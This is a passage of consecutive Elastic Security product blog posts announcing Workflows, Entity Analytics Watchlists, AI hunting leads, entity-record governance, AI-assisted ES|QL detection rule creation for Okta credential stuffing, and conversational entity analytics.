      - name: run_generic
        type: workflow.execute
        with:
          workflow-id: ${{ consts.generic_triage_id }}
          inputs:
            alert: ${{ event.alerts[0] }}

Each workflow is independently testable. Most teams start with a single workflow and extract sub-workflows as patterns emerge. Composition is something you grow into.

The template library will eventually move into the product so you can discover and install pre-built workflows directly in Kibana.

Where analysts already work

Workflows are most useful when they're available where decisions get made. The primitives and patterns are in place, but automation only delivers value if analysts can reach it without switching tools. We're investing in making Workflows accessible throughout the security analyst experience, starting with the alerts table and Attack Discovery. Analysts can send alerts or entire attacks directly to a Workflow, triggering the investigation logic they've built without leaving their current context. This integration will continue expanding so that Workflow automation becomes a seamless part of the analyst's daily work, not a separate destination.

"Run workflow" in the alerts table lets you right-click an alert (or select multiple) and trigger a Workflow directly. The alert context passes automatically.

This is the beginning. Workflows will continue expanding into more parts of the security experience, making automation accessible where analysts need it.

More control, more flexibility

Beyond the major features, the Workflow language itself has become more capable. New flow control primitives give you cleaner ways to handle complex logic. while loops let you poll for conditions or wait for external state changes. switch provides multi-way branching so you can route alerts by category without nested conditionals. loop.break and loop.continue give you standard iteration control.

Step-level data transformation steps handle filtering, finding, aggregating, and JSON operations on collections, so you can process alert lists, IOC lookups, and enrichment responses without custom scripting.

The AI steps (ai.prompt, ai.classify, ai.summarize, ai.agent) are more stable and now support structured outputs, making it easier to use AI-generated classifications and summaries in downstream workflow logic.

LiquidJS templating expanded too. You can now set variables and access them throughout the workflow, making it easier to reference computed values across multiple steps.

Reliability and production controls

All of this is useful only if it's reliable. Every step supports on-failure configuration: retry for transient failures, continue when a step isn't critical, and abort when downstream steps depend on the result. Error details are available at steps.<step-id>.error to help route around failures.

Concurrency controls prevent alert storms from spawning hundreds of parallel executions. Loop guardrails prevent runaway execution. Composition depth limits prevent infinite recursion.

Elastic 9.4 introduces event-driven triggers, starting with workflows.failed. When a workflow execution fails, it can trigger a separate handler workflow. Build a notification workflow that alerts your team when automation goes down. More trigger types are coming: case status changes, alert state transitions, and detection rule updates, making Workflows reactive to what's happening across your security environment.

Every execution is recorded in execution history with step-by-step results, including analyst decisions from waitForInput steps. This is your debugging tool and your audit trail.

Workflows is enabled by default in 9.4 with an Enterprise license. Granular RBAC controls who creates, edits, executes, and views workflows. Every management operation writes to the security audit log. Import/export moves Workflows between environments with connector references intact.

Licensing and pricing

Workflows is available with an Enterprise license on Elastic Cloud Hosted and self-managed deployments, and with the Complete tier on Elastic Cloud Serverless for Security projects.

Version 9.4 introduces a unified execution-based pricing model across all deployment types.

Across Serverless, Elastic Cloud Hosted, and self-managed, pricing is based on workflow executions, with volume-based discounts at scale. Each month includes a baseline allocation of workflow executions that are not billed. Usage beyond this allocation is billed per execution, with volume-based discounts applied as usage increases.

Elastic Cloud Serverless begins applying this model on May 1, 2026. Usage beyond the monthly non-billed executions is charged per execution, with discounts at higher volumes. See full pricing details.

Elastic Cloud Hosted and self-managed deployments follow the same pricing model, but are currently in a promotional period with execution charges not yet applied. This allows teams to build and run Workflows, establish usage patterns, and prepare for the transition to execution-based billing in a future release.

Start building now. The Workflows you create today will continue to run as pricing transitions to the unified model.

Getting started

Workflows are enabled by default in 9.4. Open Kibana, navigate to Workflows, and start building.

If you're new to Workflows, the Tech Preview post walks through building your first triage Workflow. The Chrysalis APT workflow shows Agent Builder integration in action. The documentation has the complete step type reference. The Elastic Workflow Library has ready-to-use templates.

Start with the Workflow that would save your team the most time this week. If you can describe it, you can build it.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

Your riskiest entities are already known; your SIEM just doesn't know that

Security teams aren't starting from a blank slate. You already know certain people, hosts, and services deserve elevated scrutiny: the privileged admin whose access was never revoked after a role change, the engineer on a performance improvement plan, the acquired company's infrastructure not yet fully onboarded, the contractors brought in for a sensitive new business initiative.

The gap has never been awareness. The gap is that your security information and event management (SIEM) has no way to express that organizational knowledge as a first-class risk signal. Behavioral detection fires on anomalies. Threat intel fires on known bad indicators. But neither captures the context your security and HR teams carry in their heads, and that context is exactly what insider threat programs are built on.

Mature user and entity behavior analytics (UEBA) platforms allow some form of static lists or risk multipliers, but they're often rigid, buried in configuration, and disconnected from the analyst workflow. Security teams deserve something better: a purpose-built, first-class feature that lets them codify what they already know about their environment and to have that knowledge dynamically influence every risk calculation in the platform.

Introducing Entity Analytics Watchlists

Watchlists are a new capability in Elastic Security's Entity analytics suite, arriving in the v9.4 release. They let security teams create named, described, rule-driven, or manually curated lists of users, hosts, services, or other entities and to attach configurable risk score weightings to every entity on each list.

Think of Entity Analytics Watchlists as the bridge between your organization's institutional knowledge and your security information and event management’s (SIEM's) risk engine. You already know who deserves a second look. Now your platform knows too.

The term watchlist is a familiar concept in the industry, but Entity Analytics Watchlists go further. This isn't just a way to bookmark entities; it's a structured mechanism for injecting custom correlation factors directly into the risk scoring pipeline. Every entity that appears on a watchlist carries its membership as a weighted signal, compounded with alert activity, asset criticality, and behavioral anomalies to produce a single, prioritized risk score.

Take a concrete example: John Doe is a departing employee. He’s added to a "Departing Employees" Watchlist configured with an elevated risk weighting. He also owns a server on the "Critical Infrastructure" Watchlist. When John triggers an alert, for example, an unusual volume of file downloads, his risk score now compounds all three signals: the alert, the asset criticality, and both list memberships. The platform surfaces him far higher in the risk queue than it would for the same alert on an average employee. The analyst sees exactly why.

The lists your security program already maintains

Entity Analytics Watchlists are most powerful when they reflect the real-world risk categories your security, HR, and operations teams already track informally. Here are the most common starting points:

Custom correlation, finally, without the engineering overhead

Historically, bringing organizational context into a SIEM risk model has required significant custom engineering: lookup tables, enrichment pipelines, detection rule overrides, and constant maintenance as personnel and asset inventories change. For most security teams, that overhead means it simply doesn't get done. We remove that barrier entirely.
An insider threat analyst can create a "Departing Employees" list in minutes, add a risk weighting, and immediately see that context reflected in the entity risk queue. No Elasticsearch Query Language (ES|QL) required. No pipeline configuration. No ticket to the detection engineering team. The organizational knowledge that was previously locked in spreadsheets, HR systems, or informal team awareness is now a first-class signal in the platform.

This is the ability to build risk correlations factors that simply haven't been possible anywhere else in the market and to do it without requiring detection engineering expertise.

For more mature teams, our custom watchlists also integrate cleanly with automated population, meaning that lists can be kept automatically current as conditions change or through APIs. An HR integration that marks an employee as departing can trigger list membership automatically; when they're fully offboarded, they're removed. The signal stays fresh without manual upkeep.

Coming in Elastic Security v9.4

Entity Analytics Watchlists ship as a major roadmap item in the upcoming Elastic Security v9.4 release. They’re available to customers running Elastic Security with Entity analytics enabled.

If you're already using entity risk scoring and asset criticality, Entity Analytics Watchlists are the natural next step, layering your organization's operational context on top of the platform's behavioral and alert-based signals to produce the most accurate, prioritized risk picture possible.

We've heard from security teams across industries that this capability is one of the most anticipated additions to the UEBA toolkit. We can't wait to see what lists you build.

Frequently Asked Questions

Q: How do I add organizational context to Elastic Security's risk scoring? A: In Elastic Security v9.4, you can inject organizational context into your risk scoring by utilizing Entity Analytics Watchlists, which allow you to ingest custom lists of high-value entities such as users, hosts, or services and assign them specific risk weightings. These watchlists function as dynamic correlation factors; when an entity on a watchlist appears in an alert, the system automatically compounds its risk score based on your pre-configured weights. This ensures that threats involving your most critical assets are prioritized instantly, transforming raw security data into an outcome-driven investigation queue that reflects your company's unique threat landscape.

Q: How do I monitor high-risk employees in a SIEM without custom detection rules? A: Elastic Security Watchlists let you add entities like departing employees or privileged admins to a named list with an elevated risk weighting, with no ES|QL or pipeline configuration required. Their list membership is factored into risk scoring automatically alongside any alert activity.

Q: How do insider threat programs integrate with SIEM risk scoring? A: Elastic Security's Entity Analytics Watchlists let insider threat and security operations teams codify existing risk knowledge — departing employees, privileged access holders, acquisition cohorts — and have that context automatically influence entity risk scores without requiring detection engineering involvement.

Entity Analytics is available in Elastic Security. Learn more about Entity Analytics Watchlists and how the entity store governs user entities.

The hunting gap no one talks about

Ask any threat hunter what slows them down, and you'll hear the same answer: it’s not the querying or the pivoting; it's the blank page. The moment before the hypothesis is formed. Most analysts know that somewhere in their telemetry there are patterns that signal compromise, lateral movement, or abuse; they just don’t know where to start.

Modern AI agents have a discovery problem: they’re brilliant at answering questions but useless if you don’t know what to ask. This "curiosity gap" traps security teams in a cycle of reactive hunting. Whether it’s waiting for a vendor threat intelligence report to drop, an alert to scream, or a CISO to grill the team during a QBR, the damage is often already done. While analysts wait for a hypothesis, AI-powered adversaries are moving at machine speed—widening an already dangerous window of opportunity.

The industry has tried to close this gap through detection rules, threat intel feeds, and user and entity behavior analytics (UEBA) scoring. These are necessary, but they're static frames applied to a dynamic reality. A UEBA anomaly tells you something is unusual. It doesn't tell you why it matters in your environment today.

The core problem

Detection rules tell you what to look for that’s very specific. Threat intel tells you what others found. Neither one tells you what your environment is uniquely at risk for right now, because neither one actually knows your environment.

Building the foundation: The entity store

Solving the hunting gap required us to first solve a data problem. Hunting leads are only as effective as their context; and in security, context is the sum of everything true about an entity over time.

We built the Elastic entity store as a purpose-built ontology for exactly this. Unlike Elastic Common Schema (ECS), which captures the state of a field at event time, the entity store is a longitudinal record, a living profile of characteristics of every user, host, and service in your environment. It tracks four dimensions that matter for security reasoning:

// Entity Store Schema — Core Characteristics

entity.attributes // Who/what the entity IS
  mfa_enabled: false // From AWS integration
  privileged_groups: ["Domain Admins"] // From AD
  asset_criticality: "high"

entity.lifecycle // Temporal facts
  first_seen: "2024-09-14T08:22:00Z"
  last_active: "2025-03-31T23:47:00Z"
  dormancy_detected: true // Inactive 47 days, now active

entity.behavior // Anomalous signals (rolling window)
  brute_force_victim: true
  unusual_login_hours: true
  new_geo_access: "DE" // First access from Germany

entity.risk // Scored risk aggregation
  calculated_level: "Critical"
  score: 94.2

This schema isn’t just storage; it's also a reasoning substrate. Each field represents a signal that, in combination with others, tells a coherent story about an entity's current threat posture. A user who was dormant for 47 days, is now active outside business hours, logged in from a new country, and doesn't have multifactor authentication (MFA) is not just risky in isolation; that combination is a hunting lead.

Reasoning over entity data

With the entity store providing rich context, we built Entity analytics AI-hunting leads. These reasoning modules traverse entity profiles and correlate data across users and hosts to surface patterns that human analysts would find meaningful, if they had the time to look everywhere at once.

These AI-generated hunting leads are automatically surfaced on our Entity analytics home page, ingesting the entity store state to identify combinations that constitute a threat hypothesis. This isn't a simple rule match; it’s a narrative hypothesis grounded in your actual environment.

What makes this different

Proactive hunting assistance tools are emerging across the industry. Many are useful tools, but they share a fundamental constraint: They reason over threat intelligence reported information plus event telemetry, not over accumulated entity knowledge.

The difference matters. A query-based approach can find events that match a pattern. An entity-aware approach can find entities that, given everything we know about them, are likely to be involved in something worth investigating. That's a fundamentally richer signal source, and it's one that gets sharper over time as entity history accumulates for what’s been missing in retrohunt features in modern security information and event management (SIEM).

Hunting as a continuous discipline

The promise of proactive security is stopping attackers before they reach their objective. Traditionally, the barrier has been analyst capacity. With the rise of AI-driven attacks, this is becoming an impossible task for humans alone.

Entity analytics AI-generated hunting leads don't replace hunters; they multiply them. A senior analyst no longer spends hours figuring out where to look. Instead, they start their shift with a prioritized set of hypotheses that the AI-generated hunting leads already curated. Their time is preserved for what only humans can do: validation, decision, escalation, and response.

What's next

Entity analytics AI-generated hunting leads are the first production expression of a broader capability roadmap: an Elastic Security that doesn't wait for you to ask a question. As Entity analytics matures, with expanded entity types such as tracking AI agents, the reasoning surface expands accordingly.

Entity analytics is available in Elastic Security. Learn more about advanced entity analytics, AI-hunting leads and how the entity store governs user entities.

Not the machine learning models. Not the anomaly detection algorithms. Not the risk scoring engine. The entities: the foundations to teach your system about the data and protect it.

Get the entities wrong, and everything downstream is contaminated, including AI. Your baselines are fiction. Your risk scores are noise. Your analysts are chasing ghosts. And the worst part? Most user and entity behavior analytics (UEBA) implementations get the entities wrong from day one. This blog explains why the entities you don't create matter and how a confidence-tiered model helps.

A note on terminology before we go further: in this piece we’ll distinguish between the real-world thing — a person, a host, a service — and the entity record Elastic Security creates to represent it. The argument that follows is about which records are worth creating, not about which things exist. We’ll use “entity record” when the distinction matters.

One username, hundreds of identities

Consider the simplest possible approach to creating a user entity record: Take a user.name field from an event log and call it an entity. A username like deploy appears in your telemetry, so you create a deploy entity record and start building a behavioral baseline.

The problem is immediate and severe. That deploy username might exist on 200 servers. It might be used by 12 engineers and a continuous integration and continuous deployment (CI/CD) pipeline. The behavioral baseline you're building is a smoothie blended from hundreds of different machines, used by different people, for completely different purposes. The system is treating a string match as an identity, barely one step above random.

When this entity record inevitably generates elevated risk scores, analysts investigate, only to discover that the "anomaly" was just a different engineer using the same shared account in a slightly different way. Multiply this across every common username in a large environment and you've built a system that generates investigative busywork at industrial scale.

The opposite mistake: An empty dashboard

Some security vendors recognize the problem and swing to the other extreme. They decide (correctly, in principle) that only identity-provider-backed entity records are trustworthy enough for behavioral analytics. If you can't tie an entity record to an authoritative account in a directory like Okta, Entra ID, or Active Directory, don't create one at all.

The engineering reasoning is defensible. The product experience is catastrophic.

A customer rolls out endpoint agents across their fleet, opens the security analytics dashboard, and sees nothing. Zero entities. The feature looks broken. The SOC analyst has no idea why no users are showing up, and worse, has no visibility into the activity happening on those endpoints right now. A purist entity data model has produced a blind spot. 

The missing middle: Host-scoped identity

Most vendors building UEBA have historically picked between two unsatisfying defaults, bare usernames that blend everyone into noise, or IdP-only entities that leave most deployments with nothing. But without explicit governance over which signals come from which source, the noise still leaks through.What's missing is a middle layer: entities derived from endpoint telemetry that are tightly scoped enough to be meaningful but carefully governed enough to avoid the noise problem.

The instinct might be to simply pair a username with a host and call it an entity record. But without guardrails, this just moves the noise problem down one level. deploy on prod-web-03 is still five engineers' blended activity. root on a shared bastion host is still everyone and no one. You've reduced the blast radius from "all servers" to "one server," but the behavioral baseline is still a fiction if the underlying account is shared, automated, or observed only through a failed brute-force attempt that never actually succeeded.

The real question isn't whether to create local host-scoped entity records. It's which host-scoped entity records are worth creating and with what governance over how they participate in risk scoring and identity resolution downstream.

The Elastic approach: Two kinds of entities, governed differently

One answer is to recognize that not all record sources are equal and to build that distinction into the architecture itself, governing how each record is created, enriched, scored, and resolved.

This is the approach Elastic Security takes. Instead of treating all entity records as interchangeable, the system draws a clear line between identity-provider-backed entities and endpoint-observed local host entities and governs each category differently under the hood.

Identity-provider-backed entities are created only by authoritative identity systems: Okta, Entra ID, Google Workspace, Active Directory, and other identity-provider namespaces across identity and access management (IAM), cloud platforms, software as a service (SaaS), and privileged access management (PAM) systems. These entity records represent verified accounts in systems that own and manage those accounts. They get the full analytical treatment, that is, rich behavioral baselines, cross-platform enrichment from 120+ security integrations, and full participation in person-level risk scoring.

Endpoint-observed entities are created from endpoint telemetry: Your endpoint detection and response (EDR) agent observes jdoe active on a specific host and creates a host-scoped entity record tied to that local machine. These entity records are real and useful, but the system knows they carry less identity certainty, and it governs them accordingly. 

Analysts don't need to think about any of this machinery. What they see is an entity store that's populated from day one with more accurate user entity records. The governance happens in the architecture so it doesn't have to happen in the analyst's head.

(An endpoint-observed entity for sarah.chen active on her corporate MacBook. The entity name (sarah.chen@CORP-MAC-SC-2024) uses the human-readable hostname for readability. The entity ID (user:sarah.chen@b92f1e3a-7d4c-4a8b-9f2e-1c3d5e7f9012@local) uses the machine's hardware UUID instead of its hostname — this is intentional. Hostnames change when a device is renamed or reimaged; the hardware UUID is permanent. The @local suffix identifies this as an endpoint-observed entity: it represents sarah.chen's activity on this specific machine, not sarah.chen as a verified identity across your organization.)

From fragmented accounts to a Unified User Group. 

Even when you get entity record creation right, you’re still left with a fragmentation problem no amount of per-entity discipline can solve alone.

Consider John Doe in a large enterprise. He has an Okta account for SaaS access, an Entra ID account tied to his corporate laptop, and an Active Directory account for on-prem systems. Each is a legitimate, authoritative entity record by every standard described above, and yet they’re three separate records for the same human being, each with its own risk history, each generating signals in isolation.

When John’s Entra account shows a lateral movement indicator the same day his Okta account flags a suspicious login from an anomalous location, those signals may never connect. They exist as separate entities, investigated in isolation, by analysts who have no automated way to know they belong to the same person. The cross-surface campaign that entity analytics is supposed to catch hides in plain sight between identity providers.

Elastic Security solves this through automatic entity resolution: consolidating a user’s fragmented digital footprint across Okta, Entra ID, Active Directory, and more into a single unified identity. John Doe becomes a first-class citizen in the entity store: one primary record, all associated accounts grouped together, one aggregated risk score that reflects everything happening across every identity surface he touches. Resolution runs continuously as new integrations come online, without manual curation.

In the image above, we've created one entity record per user account and grouped them together, so when an analyst reviews the record, all related identities appear in one place.

What this changes for analysts

For the security operations center (SOC) analyst working a 2 a.m. alerted by their Elastic agentic workflow, these two architectural decisions (confidence-tiered entity governance and unified identity resolution) change the investigation fundamentally.

Instead of opening four separate entity cards for the same person, they open one. Cross-provider risk signals are aggregated into a single score, and attack narratives that span identity systems are visible as narratives, not as disconnected data points buried in separate views.

Compare this to investigating a bare deploy entity record with a risk score of 70 that’s actually an artifact of 12 people’s blended activity across 200 servers. One investigation leads somewhere. The other erodes trust in the entire capability, which is the real cost of noisy entity records. Not just the false positive itself, but the analyst who learns to ignore entity risk scores entirely.

The entities records you don't create

Perhaps the most underappreciated aspect of entity analytics design is restraint. Every entity record you create has a cost: Compute for baselining, storage for history, analyst attention when it generates alerts, and potential for noise propagation into the broader analytical model.

The discipline to not create an entity record (to require a minimum evidence threshold) is what separates an entity analytics system that gets more useful over time from one that slowly drowns its operators in noise.

In practice, this means maintaining a configurable exclusion list for common service and shared accounts: root, jenkins, deploy, postgres, and others like them. These accounts exist on hundreds of machines, are used by automated processes and multiple humans interchangeably, and would produce baselines that mean nothing. Elastic Security ships a default list covering the most common offenders. Today the list operates at the username level — root is excluded uniformly regardless of which host it appears on — and is fixed. Future iterations will make it configurable, letting teams add their own environment-specific service accounts and, eventually, specify compound patterns that combine username and host. That would allow excluding root globally on shared infrastructure while still creating a host-scoped entity when that account appears on a personal workstation where the activity is attributable to a specific person. The architecture is already built for it: because endpoint-observed entities are keyed as {user.name}@{host}, compound rules are a coherent extension, not a redesign.

The higher-fidelity approach we've described directly mitigates the broader noise problem. When entity records are created from any username string in a log, your ML models end up baselining service accounts, typo'd logins, and shared kiosk accounts as if they were people — a 2 a.m. backup job looks anomalous against a human baseline, and a one-event typo'd login never accumulates enough data to baseline at all. When entity records are anchored to authoritative identity sources and resolved across their various login forms, the model learns patterns for actual humans doing actual work. Anomalies become meaningful because the baseline is meaningful.

The best entity analytics isn't the one that creates the most entities. It's the one that creates the right entities, governs them by what it actually knows about their source and scope, and builds its analytical investment proportionally. Everything else (risk scoring, behavioral baselines, entity resolution, anomaly detection, and AI skills) is downstream of that foundational decision. Get the entity records right, and the analytics follow. Get them wrong, and no amount of machine learning or AI can save you.

Entity analytics is available in Elastic Security. Learn more about advanced entity analytics and how the entity store governs user entities.

Why detection engineering needs AI-native tooling

The threat landscape has changed. Attackers are increasingly using AI to automate and scale their operations: generating phishing campaigns at volume, accelerating vulnerability research and exploitation, and launching credential attacks that would have required significant manual effort just a few years ago. The result is a faster, higher-volume threat environment where the window between a new attack pattern emerging and it hitting your environment is narrowing.

Detection engineering teams are on the other side of that equation. The expectation is that coverage keeps pace with the threat, but the tooling available to write, test, and deploy rules hasn’t historically matched the speed at which new attack patterns appear. Writing an effective detection rule from scratch requires deep familiarity with the query language, the field schema, and the aggregation logic needed to express the behavior you are trying to catch, before you even begin thinking about the threat itself. For most security teams, that friction means a growing backlog and gaps in coverage that attackers can exploit.

Arming detection engineers with native, AI-powered tooling isn’t just about convenience; it’s also about keeping pace with an adversary that’s already using AI to move faster. Elastic Security is now adding AI rule creation, powered by the Elastic Agent Builder. Unlike external AI tooling or stand-alone code generation workflows, this capability is built into the detection engineering experience: The rule is created and validated, with results preview generated entirely within your platform, against your own data, without leaving Elastic Security. Analysts can now describe what they want to detect in natural language and receive a complete, ready-to-review ES|QL rule in return, without leaving the rule creation workflow. This capability is available at the Enterprise license tier.

Support for ES|QL rule creation is available now. Additional rule types are on the roadmap, so keep an eye on upcoming releases as these capabilities expand.

Detections without the heavy lifting

ES|QL, Elastic's pipeline query language, is very helpful for behavioral and aggregation-based detections. Its pipe-based syntax makes it natural to express the kind of "filter, count, group by, threshold" logic that underlies most modern detections: How many failed logins came from this IP? Which accounts were targeted? Does this count exceed the expected baseline?

That same expressiveness is also what makes ES|QL harder to write by hand than a simple field-match query. You need to think in terms of pipelines: Filter first with WHERE, aggregate with STATS...BY , and then filter again on the computed values. It requires knowing the right Elastic Common Schema (ECS) field names, the correct function syntax, and how the pipeline stages interact. This is exactly the kind of structured, pattern-based logic that AI can translate reliably from a plain English description.

With the new detection engineering skills and the knowledge of Elastic documentation, ECS field definitions, and local data access, the Elastic AI Agent uses detection engineering best practices to come up with the rule, and moreover, the generated rule query is validated before it’s returned: What you see in the editor will run.

Walkthrough: Detecting Okta credential stuffing and account takeover

A credential stuffing attack that succeeds in breaching an account doesn’t stop at the login. The full attack chain (multifactor authentication [MFA] bypass, session establishment, privilege escalation, and policy modification) leaves a distinct footprint across Okta system logs if you know what to correlate. This is exactly the kind of multistage behavioral pattern that ES|QL handles well: Collect all the relevant event types, classify each one, aggregate by the shared identity attributes, and then apply threshold logic that requires the full sequence to be present before alerting.

Writing that query manually means knowing the Okta-specific event action names, knowing how to use EVAL with CASE to create per-event type flags, and how to then aggregate those flags with SUM to count each stage independently. It’s a realistic but nontrivial query, exactly the kind that benefits most from AI generation.

Imagine your team has an Okta integration and logs are coming in. Threat intelligence has flagged an active campaign targeting Okta tenants: automated credential stuffing followed by MFA fatigue and post-compromise privilege changes. You need detection coverage today. 

Note: We’re skipping the step of checking whether prebuilt detection rules exist or are already enabled, for the simplicity of the scenario here.

Opening the AI Agent rule creation flow

From the Elastic Security sidebar, navigate to Detection rules and click Create a rule -> AI rule creation. 

Describing the detection in plain language

No special syntax is required. Describe the full attack chain the way you would explain it to a colleague, including the data source and the specific event sequence you want to match:

Analyst prompt:

In Okta, detect when the same user and source IP shows: three or more failed logins due to bad credentials, at least one MFA failure, then a successful login, and then either a privilege grant or a policy update. That full sequence together is a credential stuffing attack that succeeded.

The AI Agent processes this against its knowledge base, including Okta integration field mappings and ECS conventions, and executes multiple steps that we can follow and review:

And then it returns a complete ES|QL rule that covers the full attack sequence described.

Reviewing and adjusting the generated rule logic

There’s a lot happening in this rule’s query, and it’s worth understanding each stage, because the structure itself tells the story of the attack chain.

The query is concise by design: It uses ES|QL's inline WHERE filtering inside COUNT() to compute each stage of the attack chain in a single STATS pass, without needing a separate EVAL block. Here’s what each part does:

FROM logs-okta* scopes the query to all Okta log indices, using a wildcard that picks up logs-okta.system-* and any other Okta data streams in the environment.

The STATS block is the core of the detection. It aggregates all Okta activity and computes four counters per unique combination of user.name and source.ip, one for each stage of the attack chain. failed_logins counts user.session.start events with outcome: failure (the password spray attempts). mfa_failurescounts failed MFA challenges, indicating the attacker encountered a second factor and attempted to push through it.

successful_logins counts user.session.start events with outcome: success; a value of one or more means the attacker got in. post_compromise_events counts any of six actions that indicate the attacker is acting on their objective after login: adding the account to a group, granting application access, escalating privileges, modifying a policy lifecycle, updating a policy rule, or changing the account profile. This is a broad net that covers the full range of post-compromise behavior seen in Okta account takeover incidents.

The WHERE clause after the aggregation requires all four conditions to be true simultaneously before a row becomes an alert. This is what makes the rule high-fidelity. A user who forgot their password and eventually logged in won’t match because they’ll have no post-compromise events. An attacker who got through but took no further action won’t match either. All four stages must be present.

The KEEP statement trims the output to the six fields that matter for triage (the targeted account, the source IP, and the count for each stage), giving the responding analyst everything they need to start an investigation without querying the raw logs first.

Along with the query, the AI Agent generates the following rule metadata: rule name, description, severity and risk score recommendations, MITRE ATT&CK technique and tactic mapping (T1110.004 Credential Stuffing, T1078 Valid Accounts, ), execution schedule, and tags. Where other rules exist, the AI Agent also reuses relevant tags from those rules, so new custom rules stay consistent with your existing detection library from the start. The data source is selected from indexes available in the system, or data ingestion is suggested. The rule fields are editable with an AI Agent before or after filling the resulting rule information in the rule creation form.

Tip: You can also ask the AI Agent to explain an existing rule query, suggest threshold adjustments based on a description of your environment, or help troubleshoot unexpected results.

Let’s keep working on the rule to adjust a few things. We want to ensure the rule detects credential stuffing and not other failure reasons, like expired passwords or locked accounts. We want to ensure the attack sequence is preserved.

Using AI Agent, we’ll ask it to fix these few things. It comes back with the adjusted query and summarizes what it did.

We now apply the changes to the rule form from the AI Agent chat:

Previewing and enabling the rule

Before enabling, use the Preview rule results panel to run the query against recent data in your environment. Any existing matches will surface immediately, running against your actual Okta log data in your Elastic deployment (no sample data, no sandbox, no external validation step required), useful both for validating that the query logic is correct and for checking whether an attack may already be in progress in your Okta tenant.

In this example, we’ve added sample logs to get a single alert generated:

Now, satisfied with the results, we’ll enable the rule. It will begin executing on its configured schedule and generate alerts for any user and source IP combination where the full attack sequence is observed within the query window.

If we execute the rule manually for the past week to find any past attacks and check resulting alerts, we see the same alert we’ve gotten in the Rule Preview.

Note: AI-generated rules should be reviewed before deployment in production environments. The AI Agent may not have full awareness of your specific data schema, log source quirks, or environment-specific baseline behavior. Use the rule preview to validate against your actual data before enabling. 

Impact on detection engineering workflows

The walk-through above, from opening the rule creation form to having a validated, multistage, MITRE-mapped ES|QL rule covering the full Okta account takeover chain, takes a few minutes. Writing the same query manually would require knowing the Okta-specific event action names, the correct okta.outcome.reason field and its enumerated values, how to structure EVAL with CASE to produce per-stage flags, how to aggregate those flags with SUM rather than COUNT, and how to express a compound post-compromise condition using OR across two aggregated fields. For an analyst onboarding a new data source under time pressure, that’s a significant amount of context to hold simultaneously.

The AI Agent doesn’t replace detection expertise. The analyst still makes every meaningful decision: which event types constitute the attack chain, what thresholds make sense for their environment, and whether the preview results look correct. What changes is the time it takes to get from having threat knowledge to having a working rule. Engineers who understand the attack and can describe it iterate and get a production-quality query back quicker, rather than spending time on implementation mechanics.

This matters most at the moments when speed is most critical: when a new campaign is active, when a data source has just been onboarded, or when an existing rule needs rapid refinement because the threat has evolved. AI-powered attackers aren’t waiting for your rule backlog to clear. Detection engineering tooling shouldn’t require it either.

What's next

AI rule creation for ES|QL is the first step in a broader expansion of AI Agent-driven detection engineering in Elastic Security. ES|QL was the natural starting point given its aggregation-first pipeline structure, which maps cleanly to the behavioral descriptions analysts naturally provide. Support for additional rule types and additional quality of life rule creation steps and beyond is on the roadmap. Keep an eye on the Elastic Security Labs blog and release notes for updates as new capabilities become available.

For a broader look at how AI Agents are reshaping the detection engineering role, from threat modeling and telemetry tuning through to rule authoring and maintenance at scale, see Supercharge Your SOC: Detection Engineering in the Era of AI Agents on Elastic Security Labs. For a comprehensive overview of the full detection engineering toolset available in Elastic Security today, including prebuilt rules, alert suppression, MITRE ATT&CK coverage, and Detections as Code, see Know your tools: The full range of Elastic Security's detection engineering capabilities.

Try the new AI rule creation capability on your deployment, or start a free trial. Connect with us on Elastic's community Slack to share feedback or tell us what detection use cases you’re building and how we can help.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In this blog post, we may have used or referred to third-party generative AI tools, which are owned and operated by their respective owners. Elastic does not have any control over the third-party tools and we have no responsibility or liability for their content, operation or use, nor for any loss or damage that may arise from your use of such tools. Please exercise caution when using AI tools with personal, sensitive or confidential information. Any data you submit may be used for AI training or other purposes. There is no guarantee that information you provide will be kept secure or confidential. You should familiarize yourself with the privacy practices and terms of use of any generative AI tools prior to use.

Elastic, Elasticsearch, ESRE, Elasticsearch Relevance Engine and associated marks are trademarks, logos or registered trademarks of Elasticsearch N.V. in the United States and other countries. All other company and product names are trademarks, logos or registered trademarks of their respective owners.

By focusing on critical entities, such as users, hosts, and services, it builds a complete profile of each entity’s attributes, lifecycle, behaviors, relationships, and risk score over time. This security context equips threat hunters to stop chasing isolated alerts and instead uncover the full narrative of a potential compromise. In this blog, we walk through Conversational Entity Analytics, the Agent Builder AI agent skill that delivers entity risk scores, profiles, dashboards in-line, and more, so the hunt stays in one place.

Why Entity Analytics  matters for threat hunters

Threat hunting in most SIEMs is a tab-juggling exercise. The hunter sees a risk score in one place, opens the host detail page in another, navigates to the dashboard for context, jumps to alerts to read the evidence, and then back to a notes app to write down what they found. Every pivot loses context. Every navigation costs minutes. And the hunts that matter most the subtle, cross-source ones) are the hardest to phrase as a query in the first place.

Conversational Entity Analytics collapses that loop. The hunter can start with a question in the Agent Builder chat or ask a question after clicking on an entity in the Kibana UI, and the answer is delivered into the conversation as rich inline attachments and Canvas previews. The hunt becomes interactive with an AI agent acting as a defender and guiding each step of the way.

What Conversational Entity Analytics is

Conversational Entity Analytics is the Entity Analytics AI Agent Skill in Elastic Agent Builder. It turns natural-language questions about users, hosts, and services into the same structured outputs the Entity Analytics Kibana UI produces ranked entity lists, full entity profiles, resolution groups, and the Entity Analytics Dashboard), rendered directly inside the conversation.

Two rendering modes do the heavy lifting: Rich inline attachments land the answer in chat as a live, structured artifact. Canvas previews open the corresponding Entity Analytics surface in a panel next to the conversation. The hunter never leaves the thread, and the underlying source of truth is always Entity Analytics in Kibana.

Two rendering modes, one conversation:

• Rich inline attachments: Structured cards that appear in line with the skill's reply, such as ranked entity tables, entity profile cards with risk-score breakdowns, and dashboard cards. Every attachment carries an "Attachment added" marker so the hunter knows it will persist with the thread.

• Canvas previews: A Preview action on any attachment opens the full Entity Analytics Kibana UI surface in a Canvas pane beside the chat.

1. Start the hunt in chat. Or in the Kibana UI. Or in both.

Entity Analytics provides an out-of-the-box experience on what the riskiest entities are in your environment through our pre-generated AI-Hunting Leads and entities list by risk score. However, if a hunter has a specific question in mind and wants to ask it directly, the hunter can open the Elastic Agent Builder and ask:

Prompt: What are the top 5 riskiest hosts in my environment?

The agent loads the entity-analytics skill, which is visible in the reasoning trace as: "Now that the entity-analytics skill is loaded, I'll search for the top 10 riskiest hosts in the environment." Same Entity Store. Same risk score contract. Same answer the Kibana UI would return, delivered as a conversation.

2. The conversation follows the hunter into the UI

